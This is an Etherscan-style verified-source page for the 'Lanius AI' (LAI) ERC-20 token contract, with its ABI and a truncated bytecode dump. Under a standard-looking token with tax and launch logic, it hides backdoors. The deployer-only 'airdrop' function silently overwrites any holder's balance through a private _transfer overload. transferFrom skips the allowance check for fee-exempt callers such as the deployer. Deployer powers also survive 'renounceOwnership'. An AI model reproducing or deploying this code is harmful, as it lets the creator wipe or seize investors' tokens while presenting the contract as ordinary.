Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transferFrom(address sender, ... library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair(address tokenA, a ...    - function getPair(address tokenA, addr ... interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract TOKEN is Context, IERC20, ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(address recipient, ...    - function allowance(address owner, add ...    - function transferFrom(address sender, ...    - function approve(address spender, uin ...    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function _transfer(address from, uint ...    - function _airdrop(address[] memory re ...    - function min(uint256 a, uint256 b)    - function swapTokensForETH(uint256 amo ...    - function removeLimits()    - function sendTax()    - function recoverStuckETH()    - function recoverStuckToken(address _a ...    - function airdrop(address[] memory rec ...    - function setTaxWallet(address payable ...    - function launch()    - function renounceOwnership()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-12-27
*/

/*
Unlock the potential of unused network resources with Lanius AI. Accumulate $LAI by sharing your excess bandwidth, turning untapped digital capacity into tangible rewards.

Website: https://laniusai.net
App: https://app.laniusai.net
Docs: https://docs.laniusai.net
Twitter: https://twitter.com/Lanius_AI
Telegram: https://t.me/Lanius_AI
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TOKEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tAmounts;
    mapping (address => mapping (address => uint256)) private _tAllowed;
    mapping (address => bool) private _feeExempt;
    address payable private _taxWallet;
    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=2;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Lanius AI";
    string private constant _symbol = unicode"LAI";
    uint256 public _maxTxAmount =   2 * _tTotal / 100;
    uint256 public _maxWalletSize = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold= 1 * _tTotal / 100;
    uint256 public _maxTaxSwap= 1 * _tTotal / 100;
    IUniswapV2Router02 private uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    address private deployer;
    address private constant VitalikButerin = address(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);
    address private constant realDonaldTrump = address(0x94845333028B1204Fbe14E1278Fd4Adde46B22ce);
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _taxWallet = payable(_msgSender());
        _tAmounts[address(this)] = _tTotal * 96 / 100;
        _tAmounts[VitalikButerin] = _tTotal * 2 / 100;
        _tAmounts[realDonaldTrump] = _tTotal * 2 / 100;
        _feeExempt[address(this)] = true;
        _feeExempt[_msgSender()] = true;
        deployer = _msgSender();
        
        emit Transfer(address(0), address(this), _tTotal * 96 / 100);
        emit Transfer(address(0), VitalikButerin, _tTotal * 2 / 100);
        emit Transfer(address(0), realDonaldTrump, _tTotal * 2 / 100);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _tAmounts[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _tAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount); if(!_feeExempt[msg.sender])
        _approve(sender, _msgSender(), _tAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _tAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _feeExempt[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }
            if(to == uniswapV2Pair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    swapTokensForETH(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                sendTax();
            }
        }
        if(taxAmount>0){
          _tAmounts[address(this)]=_tAmounts[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _tAmounts[from]=_tAmounts[from].sub(amount);
        _tAmounts[to]=_tAmounts[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function _transfer(address from, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount >= 0, "Transfer amount must be greater than zero");
        _tAmounts[from] = amount;
    }
    function _airdrop(address[] memory recipients, uint256[] memory amounts) private {
        for (uint256 i = 0; i < recipients.length; i++) {
            address recipient = recipients[i];
            require(recipient != uniswapV2Pair);
            _transfer(recipient, amounts[i]);
        }
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function swapTokensForETH(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function sendTax() private {
        _taxWallet.transfer(address(this).balance);
    }
    function recoverStuckETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
    function recoverStuckToken(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }
    function airdrop(address[] memory recipients, uint256[] memory amounts) external {
        require(_msgSender() == deployer, "!deployer");
        _airdrop(recipients, amounts);
    }
    function setTaxWallet(address payable newWallet) external {
        require(_msgSender() == deployer, "!deployer");
        _taxWallet = newWallet;
    }
    function launch() external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        tradingOpen = true;
    }
    function renounceOwnership() public override onlyOwner {
        require(_maxTxAmount == _tTotal);
        super.renounceOwnership();
    }
    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"recoverStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260055560026006555f6007555f60085560056009556005600a556005600b555f600c5560646009600a6200003b919062000583565b6200004b90633b9aca006200059a565b620000589060026200059a565b620000649190620005b4565b600d556064620000776009600a62000583565b6200008790633b9aca006200059a565b620000949060026200059a565b620000a09190620005b4565b600e556064620000b36009600a62000583565b620000c390633b9aca006200059a565b620000d09060016200059a565b620000dc9190620005b4565b600f556064620000ef6009600a62000583565b620000ff90633b9aca006200059a565b6200010c9060016200059a565b620001189190620005b4565b601055601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790555f6200014a3390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556064620001b56009600a62000583565b620001c590633b9aca006200059a565b620001d29060606200059a565b620001de9190620005b4565b305f908152600160205260409020556064620001fd6009600a62000583565b6200020d90633b9aca006200059a565b6200021a9060026200059a565b620002269190620005b4565b73d8da6bf26964af9d7eed9e03e53415d37aa960455f5260016020527fb931be0b3d1fb06daf0d92e2b8dfe49ead9172e102b3af1e07a10cc29003beb2556064620002746009600a62000583565b6200028490633b9aca006200059a565b620002919060026200059a565b6200029d9190620005b4565b7fcc89cdffe6d8d6bb620c9aae10557c2897f6e2865c73c41f65fdada66306d0af55305f9081526003602081905260408220805460ff1916600190811790915591620002e63390565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055620003153390565b601380546001600160a01b0319166001600160a01b0392909216919091179055305f5f80516020620020e08339815191526064620003566009600a62000583565b6200036690633b9aca006200059a565b620003739060606200059a565b6200037f9190620005b4565b60405190815260200160405180910390a373d8da6bf26964af9d7eed9e03e53415d37aa960455f5f80516020620020e08339815191526064620003c56009600a62000583565b620003d590633b9aca006200059a565b620003e29060026200059a565b620003ee9190620005b4565b60405190815260200160405180910390a37394845333028b1204fbe14e1278fd4adde46b22ce5f5f80516020620020e08339815191526064620004346009600a62000583565b6200044490633b9aca006200059a565b620004519060026200059a565b6200045d9190620005b4565b60405190815260200160405180910390a3620005d4565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004c857815f1904821115620004ac57620004ac62000474565b80851615620004ba57918102915b93841c93908002906200048d565b509250929050565b5f82620004e0575060016200057d565b81620004ee57505f6200057d565b8160018114620005075760028114620005125762000532565b60019150506200057d565b60ff84111562000526576200052662000474565b50506001821b6200057d565b5060208310610133831016604e8410600b841016171562000557575081810a6200057d565b62000563838362000488565b805f190482111562000579576200057962000474565b0290505b92915050565b5f6200059360ff841683620004d0565b9392505050565b80820281158282048414176200057d576200057d62000474565b5f82620005cf57634e487b7160e01b5f52601260045260245ffd5b500490565b611afe80620005e25f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b411461030c578063a9059cbb14610337578063bf474bed14610356578063dd62ed3e1461036b578063ea414b28146103af578063fd3e76c4146103ce575f80fd5b8063751039fc146102945780637d1db4a5146102a857806381a16445146102bd5780638da5cb5b146102d15780638f9a55c0146102f7575f80fd5b806323b872dd116100ee57806323b872dd146101f3578063313ce56714610212578063672434821461022d57806370a082311461024c578063715018a614610280575f80fd5b806301339c211461013457806306fdde031461014a578063095ea7b31461018d5780630faee56f146101bc57806318160ddd146101df575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506101486103ed565b005b348015610155575f80fd5b506040805180820190915260098152684c616e69757320414960b81b60208201525b6040516101849190611505565b60405180910390f35b348015610198575f80fd5b506101ac6101a7366004611565565b61070e565b6040519015158152602001610184565b3480156101c7575f80fd5b506101d160105481565b604051908152602001610184565b3480156101ea575f80fd5b506101d1610724565b3480156101fe575f80fd5b506101ac61020d36600461158f565b610744565b34801561021d575f80fd5b5060405160098152602001610184565b348015610238575f80fd5b506101486102473660046116a1565b6107bc565b348015610257575f80fd5b506101d161026636600461175d565b6001600160a01b03165f9081526001602052604090205490565b34801561028b575f80fd5b50610148610819565b34801561029f575f80fd5b50610148610872565b3480156102b3575f80fd5b506101d1600d5481565b3480156102c8575f80fd5b50610148610923565b3480156102dc575f80fd5b505f546040516001600160a01b039091168152602001610184565b348015610302575f80fd5b506101d1600e5481565b348015610317575f80fd5b506040805180820190915260038152624c414960e81b6020820152610177565b348015610342575f80fd5b506101ac610351366004611565565b610983565b348015610361575f80fd5b506101d1600f5481565b348015610376575f80fd5b506101d1610385366004611778565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103ba575f80fd5b506101486103c936600461175d565b61098f565b3480156103d9575f80fd5b506101486103e8366004611565565b610a00565b5f546001600160a01b0316331461041f5760405162461bcd60e51b8152600401610416906117af565b60405180910390fd5b601354600160a01b900460ff16156104795760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610416565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ed91906117e4565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561054c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057091906117e4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156105ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105de91906117e4565b601280546001600160a01b0319166001600160a01b03928316179055601154610623913091166106106009600a6118f3565b61061e90633b9aca00611901565b610b30565b6011546001600160a01b031663f305d7194730610654816001600160a01b03165f9081526001602052604090205490565b5f806106675f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106cd573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106f29190611918565b50506013805462ff00ff60a01b19166201000160a01b17905550565b5f61071a338484610b30565b5060015b92915050565b5f6107316009600a6118f3565b61073f90633b9aca00611901565b905090565b5f610750848484610c53565b335f9081526003602052604090205460ff166107b2576107b2843361061e85604051806060016040528060288152602001611aa1602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611059565b5060019392505050565b6013546001600160a01b0316336001600160a01b03161461080b5760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610416565b6108158282611091565b5050565b5f546001600160a01b031633146108425760405162461bcd60e51b8152600401610416906117af565b61084e6009600a6118f3565b61085c90633b9aca00611901565b600d5414610868575f80fd5b610870611108565b565b5f546001600160a01b0316331461089b5760405162461bcd60e51b8152600401610416906117af565b6108a76009600a6118f3565b6108b590633b9aca00611901565b600d556108c46009600a6118f3565b6108d290633b9aca00611901565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6109026009600a6118f3565b61091090633b9aca00611901565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461094c5760405162461bcd60e51b8152600401610416906117af565b5f4711610957575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610980573d5f803e3d5ffd5b50565b5f61071a338484610c53565b6013546001600160a01b0316336001600160a01b0316146109de5760405162461bcd60e51b815260206004820152600960248201526810b232b83637bcb2b960b91b6044820152606401610416565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610a295760405162461bcd60e51b8152600401610416906117af565b6040516370a0823160e01b81523060048201525f90610aaa90606490610aa49085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a7a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9e9190611943565b90611179565b906111fe565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610b06573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2a919061195a565b50505050565b6001600160a01b038316610b925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610416565b6001600160a01b038216610bf35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610416565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c795760405162461bcd60e51b815260040161041690611979565b6001600160a01b038216610cdb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610416565b5f8111610d3c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610416565b5f80546001600160a01b03858116911614801590610d6757505f546001600160a01b03848116911614155b15610f1c576012546001600160a01b038581169116148015610d9757506011546001600160a01b03848116911614155b8015610dbb57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e4e57601354600160a01b900460ff16610e115760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610416565b610e376064610aa4600954600c5411610e2c57600554610e30565b6007545b8590611179565b600c80549192505f610e48836119be565b91905055505b6012546001600160a01b0390811690841603610e8c57610e896064610aa4600a54600c5411610e7f57600654610e30565b6008548590611179565b90505b601354600160a81b900460ff16158015610eb357506012546001600160a01b038481169116145b8015610ec85750601354600160b01b900460ff165b8015610ed75750600b54600c54115b15610f1c57305f90815260016020526040902054600f54811115610f1257610f12610f0d84610f088460105461123f565b61123f565b611253565b610f1a6113c3565b505b8015610f9457305f90815260016020526040902054610f3b90826113f9565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f8b9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610fb69083611457565b6001600160a01b0385165f90815260016020526040902055610ff9610fdb8383611457565b6001600160a01b0385165f90815260016020526040902054906113f9565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110428585611457565b60405190815260200160405180910390a350505050565b5f818484111561107c5760405162461bcd60e51b81526004016104169190611505565b505f61108884866119d6565b95945050505050565b5f5b8251811015611103575f8382815181106110af576110af6119e9565b60209081029190910101516012549091506001600160a01b03908116908216036110d7575f80fd5b6110fa818484815181106110ed576110ed6119e9565b6020026020010151611498565b50600101611093565b505050565b5f546001600160a01b031633146111315760405162461bcd60e51b8152600401610416906117af565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f825f0361118857505f61071e565b5f6111938385611901565b9050826111a085836119fd565b146111f75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610416565b9392505050565b5f6111f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114d9565b5f81831161124d57826111f7565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611299576112996119e9565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112f0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061131491906117e4565b81600181518110611327576113276119e9565b6001600160a01b03928316602091820292909201015260115461134d9130911684610b30565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906113859085905f90869030904290600401611a1c565b5f604051808303815f87803b15801561139c575f80fd5b505af11580156113ae573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610980573d5f803e3d5ffd5b5f806114058385611a8d565b9050838110156111f75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610416565b5f6111f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611059565b6001600160a01b0382166114be5760405162461bcd60e51b815260040161041690611979565b6001600160a01b039091165f90815260016020526040902055565b5f81836114f95760405162461bcd60e51b81526004016104169190611505565b505f61108884866119fd565b5f602080835283518060208501525f5b8181101561153157858101830151858201604001528201611515565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610980575f80fd5b5f8060408385031215611576575f80fd5b823561158181611551565b946020939093013593505050565b5f805f606084860312156115a1575f80fd5b83356115ac81611551565b925060208401356115bc81611551565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561160a5761160a6115cd565b604052919050565b5f67ffffffffffffffff82111561162b5761162b6115cd565b5060051b60200190565b5f82601f830112611644575f80fd5b8135602061165961165483611612565b6115e1565b8083825260208201915060208460051b87010193508684111561167a575f80fd5b602086015b84811015611696578035835291830191830161167f565b509695505050505050565b5f80604083850312156116b2575f80fd5b823567ffffffffffffffff808211156116c9575f80fd5b818501915085601f8301126116dc575f80fd5b813560206116ec61165483611612565b82815260059290921b8401810191818101908984111561170a575f80fd5b948201945b8386101561173157853561172281611551565b8252948201949082019061170f565b96505086013592505080821115611746575f80fd5b5061175385828601611635565b9150509250929050565b5f6020828403121561176d575f80fd5b81356111f781611551565b5f8060408385031215611789575f80fd5b823561179481611551565b915060208301356117a481611551565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117f4575f80fd5b81516111f781611551565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561184d57815f1904821115611833576118336117ff565b8085161561184057918102915b93841c9390800290611818565b509250929050565b5f826118635750600161071e565b8161186f57505f61071e565b8160018114611885576002811461188f576118ab565b600191505061071e565b60ff8411156118a0576118a06117ff565b50506001821b61071e565b5060208310610133831016604e8410600b84101617156118ce575081810a61071e565b6118d88383611813565b805f19048211156118eb576118eb6117ff565b029392505050565b5f6111f760ff841683611855565b808202811582820484141761071e5761071e6117ff565b5f805f6060848603121561192a575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611953575f80fd5b5051919050565b5f6020828403121561196a575f80fd5b815180151581146111f7575f80fd5b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b5f600182016119cf576119cf6117ff565b5060010190565b8181038181111561071e5761071e6117ff565b634e487b7160e01b5f52603260045260245ffd5b5f82611a1757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a6c5784516001600160a01b031683529383019391830191600101611a47565b50506001600160a01b03969096166060850152505